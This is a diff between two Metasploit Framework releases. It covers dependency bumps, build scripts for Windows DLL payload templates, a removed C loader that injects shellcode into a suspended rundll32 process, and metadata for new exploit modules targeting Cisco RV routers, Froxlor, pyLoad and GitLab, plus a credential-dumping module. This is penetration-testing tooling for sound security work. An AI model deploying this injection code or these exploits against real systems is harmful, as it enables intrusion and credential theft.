Compare commits
102 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d21f6a10a2 | |||
| 6c5c158607 | |||
| 8a37cc6c88 | |||
| b2cc84228f | |||
| 65c11bd8c8 | |||
| fd5d10e610 | |||
| 2de3142cde | |||
| b3f30f00a7 | |||
| b38d51edca | |||
| 6b36463086 | |||
| c0042ab0d2 | |||
| 9621f77bac | |||
| bf7884b2dc | |||
| f6ec3855b3 | |||
| 0c8df1a67b | |||
| 42146fc4ec | |||
| 80cec400bf | |||
| fc5f4983f6 | |||
| 647418745f | |||
| e1e39ad5bc | |||
| e625e2e474 | |||
| 31a5125d78 | |||
| 5314d21e59 | |||
| db290369a4 | |||
| 066d0a6f7e | |||
| c553f80cd9 | |||
| 9cf2bbf352 | |||
| c6e9c8e3db | |||
| 292c160abf | |||
| c610949a5a | |||
| 44c393e2f1 | |||
| 71cecfb1d4 | |||
| 1c49b002d2 | |||
| 00d1637f3d | |||
| e7da4c4612 | |||
| 12c739b881 | |||
| 5a2ab6edd4 | |||
| ecd5ad29a7 | |||
| a8d2073eee | |||
| 86e8f5c484 | |||
| 5d8b1dc4a6 | |||
| 557042c91c | |||
| b89602bb7b | |||
| 301d25ddfa | |||
| a98368cfc5 | |||
| 5725dd2ded | |||
| 165b0f8d61 | |||
| ac9d60ce9e | |||
| 5d254cc36b | |||
| 78ae5f49ce | |||
| 304b90ecc8 | |||
| 8aed02de3d | |||
| bf57918454 | |||
| ff159c8760 | |||
| ca0b1ffe05 | |||
| 2e195b2742 | |||
| 0e86cfa6c7 | |||
| d012145726 | |||
| 96fecb6048 | |||
| 45e453d687 | |||
| 9605b4bb91 | |||
| c3fa924cfa | |||
| 210b7a3254 | |||
| 79b1801a4f | |||
| 036ed7f467 | |||
| 86fc617259 | |||
| 0cf7dd850f | |||
| e963582e18 | |||
| f2a86327d0 | |||
| 6343fc8f7c | |||
| fd6cd82f30 | |||
| 025ba6775d | |||
| 126e3a9c9a | |||
| 2608852d8c | |||
| aa9b3df6b3 | |||
| e420dc123d | |||
| c7279e9a0a | |||
| 4b05ba6189 | |||
| 427c181e9a | |||
| 19bcf8be7f | |||
| 35749a000a | |||
| 475813eb33 | |||
| 59332da8ce | |||
| ac9caa8894 | |||
| 7cff3cc2b0 | |||
| 4b3125d14b | |||
| cf6d5d3a14 | |||
| 8aca86b816 | |||
| 5c3ac339d0 | |||
| 704cee436b | |||
| c1236500f1 | |||
| ff63f0aa32 | |||
| 27f8f4fc47 | |||
| 7880530989 | |||
| 0e5f8d49f9 | |||
| 13a3d9d1ca | |||
| 7983c14166 | |||
| 3d73f574d4 | |||
| a05cbdbc30 | |||
| c9eaa9af37 | |||
| 34d191b06c | |||
| f1b97de78d |
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.2)
|
||||
metasploit-framework (6.3.4)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
|
||||
+8
-8
@@ -10,16 +10,16 @@ afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.701.0, "Apache 2.0"
|
||||
aws-partitions, 1.707.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.170.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.362.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.74.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.364.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.75.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.62.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.119.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.14, ruby
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
@@ -41,7 +41,7 @@ erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.1.0, MIT
|
||||
faker, 3.1.1, MIT
|
||||
faraday, 2.7.4, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
@@ -70,7 +70,7 @@ memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.3.2, "New BSD"
|
||||
metasploit-framework, 6.3.4, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
@@ -135,7 +135,7 @@ rex-powershell, 0.1.97, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.46, "New BSD"
|
||||
rex-socket, 0.1.47, "New BSD"
|
||||
rex-sslscan, 0.1.9, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.49, "New BSD"
|
||||
@@ -143,7 +143,7 @@ rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.0, MIT
|
||||
rspec-core, 3.12.1, MIT
|
||||
rspec-expectations, 3.12.2, MIT
|
||||
rspec-mocks, 3.12.3, MIT
|
||||
rspec-rails, 6.0.1, MIT
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
# PE Source Code
|
||||
This directory contains the source code for the PE executable templates.
|
||||
|
||||
## Building DLLs
|
||||
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
|
||||
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
|
||||
variable be defined (which it should be by default). The build script will
|
||||
create both the x86 and x64 templates before moving them into the correct
|
||||
folder. The current working directory when the build is run must be the source
|
||||
code directory (`pe`).
|
||||
@@ -0,0 +1,7 @@
|
||||
@echo off
|
||||
|
||||
for /D %%d in (dll*) do (
|
||||
pushd "%%d"
|
||||
build.bat
|
||||
popd
|
||||
)
|
||||
@@ -3,12 +3,13 @@
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
rc /v template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
del *.obj *.res
|
||||
move *.dll ..\..\..
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
|
||||
#ifndef SCSIZE
|
||||
#define SCSIZE 4096
|
||||
#endif
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
|
||||
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v /fo template.res ../dll/template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.exp *.lib *.res *.obj
|
||||
move *.dll ..\..\..
|
||||
@@ -1,24 +0,0 @@
|
||||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i686-w64-mingw32
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
||||
-3
@@ -1,6 +1,3 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
|
||||
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
|
||||
@@ -1,97 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
EXPORTS
|
||||
DllMain@12
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
|
||||
LANGUAGE 9, 1
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 0,0,0,1
|
||||
PRODUCTVERSION 0,0,0,1
|
||||
FILEFLAGSMASK 0x17L
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS 0x4L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
|
||||
END
|
||||
|
||||
#define RT_HTML 23
|
||||
|
||||
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
|
||||
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -22379,7 +22379,7 @@
|
||||
"Alberto Solino",
|
||||
"Christophe De La Fuente"
|
||||
],
|
||||
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. First, it\n reads as much data as possible from the registry and then save the\n hives locally on the target (%SYSTEMROOT%\\random.tmp). Finally, it\n downloads the temporary hive files and reads the rest of the data\n from it. This temporary files are removed when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
|
||||
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. First, it\n reads as much data as possible from the registry and then save the\n hives locally on the target (%SYSTEMROOT%\\Temp\\random.tmp). Finally, it\n downloads the temporary hive files and reads the rest of the data\n from it. This temporary files are removed when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
|
||||
"references": [
|
||||
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"
|
||||
],
|
||||
@@ -22395,7 +22395,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-12-07 23:03:57 +0000",
|
||||
"mod_time": "2023-02-16 20:13:31 +0000",
|
||||
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/windows_secrets_dump",
|
||||
@@ -60518,6 +60518,71 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/cisco_rv340_lan": {
|
||||
"name": "Cisco RV Series Authentication Bypass and Command Injection",
|
||||
"fullname": "exploit/linux/http/cisco_rv340_lan",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-11-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Biem Pham",
|
||||
"Neterum",
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module exploits two vulnerabilities, a session ID directory traversal authentication\n bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,\n and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.\n This access can then be used to pivot to other parts of the network. This module works on firmware\n versions 1.0.03.24 and below.",
|
||||
"references": [
|
||||
"CVE-2022-20705",
|
||||
"CVE-2022-20707",
|
||||
"ZDI-22-410",
|
||||
"ZDI-22-411"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, armle",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2023-02-13 17:49:09 +0000",
|
||||
"path": "/modules/exploits/linux/http/cisco_rv340_lan.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/cisco_rv340_lan",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/cisco_rv_series_authbypass_and_rce": {
|
||||
"name": "Cisco Small Business RV Series Authentication Bypass and Command Injection",
|
||||
"fullname": "exploit/linux/http/cisco_rv_series_authbypass_and_rce",
|
||||
@@ -63216,6 +63281,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/froxlor_log_path_rce": {
|
||||
"name": "Froxlor Log Path RCE",
|
||||
"fullname": "exploit/linux/http/froxlor_log_path_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2023-01-29",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Askar",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path\n to any directory on the OS level which the user www-data can write without restrictions from the backend which\n leads to writing a malicious Twig template that the application will render. That will lead to achieving a\n remote command execution under the user www-data.",
|
||||
"references": [
|
||||
"URL-https://shells.systems/author/askar/",
|
||||
"CVE-2023-0315"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux ",
|
||||
"Unix Command"
|
||||
],
|
||||
"mod_time": "2023-02-22 12:28:28 +0000",
|
||||
"path": "/modules/exploits/linux/http/froxlor_log_path_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/froxlor_log_path_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/geutebruck_cmdinject_cve_2021_335xx": {
|
||||
"name": "Geutebruck Multiple Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx",
|
||||
@@ -64001,10 +64128,11 @@
|
||||
"cbmixx",
|
||||
"Green-m <greenm.xxoo@gmail.com>"
|
||||
],
|
||||
"description": "This module uses built-in functionality to execute arbitrary commands on an unsecured Hadoop server which is not configured for strong\n authentication, via Hadoop's standard ResourceManager REST API.",
|
||||
"description": "This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.\n Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.",
|
||||
"references": [
|
||||
"URL-http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf",
|
||||
"URL-https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn"
|
||||
"URL-https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn",
|
||||
"URL-https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
@@ -64027,7 +64155,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-11-16 11:31:59 +0000",
|
||||
"mod_time": "2023-02-15 12:37:06 +0000",
|
||||
"path": "/modules/exploits/linux/http/hadoop_unauth_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/hadoop_unauth_exec",
|
||||
@@ -68583,6 +68711,71 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/pyload_js2py_exec": {
|
||||
"name": "pyLoad js2py Python Execution",
|
||||
"fullname": "exploit/linux/http/pyload_js2py_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2023-01-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bAu"
|
||||
],
|
||||
"description": "pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport\n functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request\n to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,\n the primary of which is on port 8000 and can not be used by external hosts. A secondary \"Click 'N' Load\"\n service runs on port 9666 and can be used remotely without authentication.",
|
||||
"references": [
|
||||
"CVE-2023-0297",
|
||||
"URL-https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/",
|
||||
"URL-https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad",
|
||||
"URL-https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d"
|
||||
],
|
||||
"platform": "Linux,Python,Unix",
|
||||
"arch": "cmd, x86, x64, python",
|
||||
"rport": 9666,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"Linux Dropper",
|
||||
"Python"
|
||||
],
|
||||
"mod_time": "2023-02-15 16:29:42 +0000",
|
||||
"path": "/modules/exploits/linux/http/pyload_js2py_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/pyload_js2py_exec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/qnap_qcenter_change_passwd_exec": {
|
||||
"name": "QNAP Q'Center change_passwd Command Execution",
|
||||
"fullname": "exploit/linux/http/qnap_qcenter_change_passwd_exec",
|
||||
@@ -86771,12 +86964,14 @@
|
||||
"disclosure_date": "2023-02-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Ron Bowes"
|
||||
"Ron Bowes",
|
||||
"Frycos (Florian Hauser)"
|
||||
],
|
||||
"description": "This module exploits CVE-2023-0669, which is an object deserialization\n vulnerability in Fortra GoAnywhere MFT.",
|
||||
"references": [
|
||||
"CVE-2023-0669",
|
||||
"URL-https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis"
|
||||
"URL-https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis",
|
||||
"URL-https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html"
|
||||
],
|
||||
"platform": "Unix,Windows",
|
||||
"arch": "cmd",
|
||||
@@ -86800,7 +86995,7 @@
|
||||
"Version 2 Encryption",
|
||||
"Version 1 Encryption"
|
||||
],
|
||||
"mod_time": "2023-02-08 10:24:27 +0000",
|
||||
"mod_time": "2023-02-09 23:06:59 +0000",
|
||||
"path": "/modules/exploits/multi/http/fortra_goanywhere_rce_cve_2023_0669.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/fortra_goanywhere_rce_cve_2023_0669",
|
||||
@@ -87446,6 +87641,69 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/gitlab_github_import_rce_cve_2022_2992": {
|
||||
"name": "GitLab GitHub Repo Import Deserialization RCE",
|
||||
"fullname": "exploit/multi/http/gitlab_github_import_rce_cve_2022_2992",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-10-06",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"William Bowling (vakzz)",
|
||||
"Heyder Andrade <https://infosec.exchange/@heyder>",
|
||||
"RedWay Security <https://infosec.exchange/@redway>"
|
||||
],
|
||||
"description": "An authenticated user can import a repository from GitHub into GitLab.\n If a user attempts to import a repo from an attacker-controlled server,\n the server will reply with a Redis serialization protocol object in the nested\n `default_branch`. GitLab will cache this object and\n then deserialize it when trying to load a user session, resulting in RCE.",
|
||||
"references": [
|
||||
"URL-https://hackerone.com/reports/1679624",
|
||||
"URL-https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992",
|
||||
"URL-https://gitlab.com/gitlab-org/gitlab/-/issues/371884",
|
||||
"CVE-2022-2992"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command"
|
||||
],
|
||||
"mod_time": "2023-02-14 15:26:01 +0000",
|
||||
"path": "/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/gitlab_github_import_rce_cve_2022_2992",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
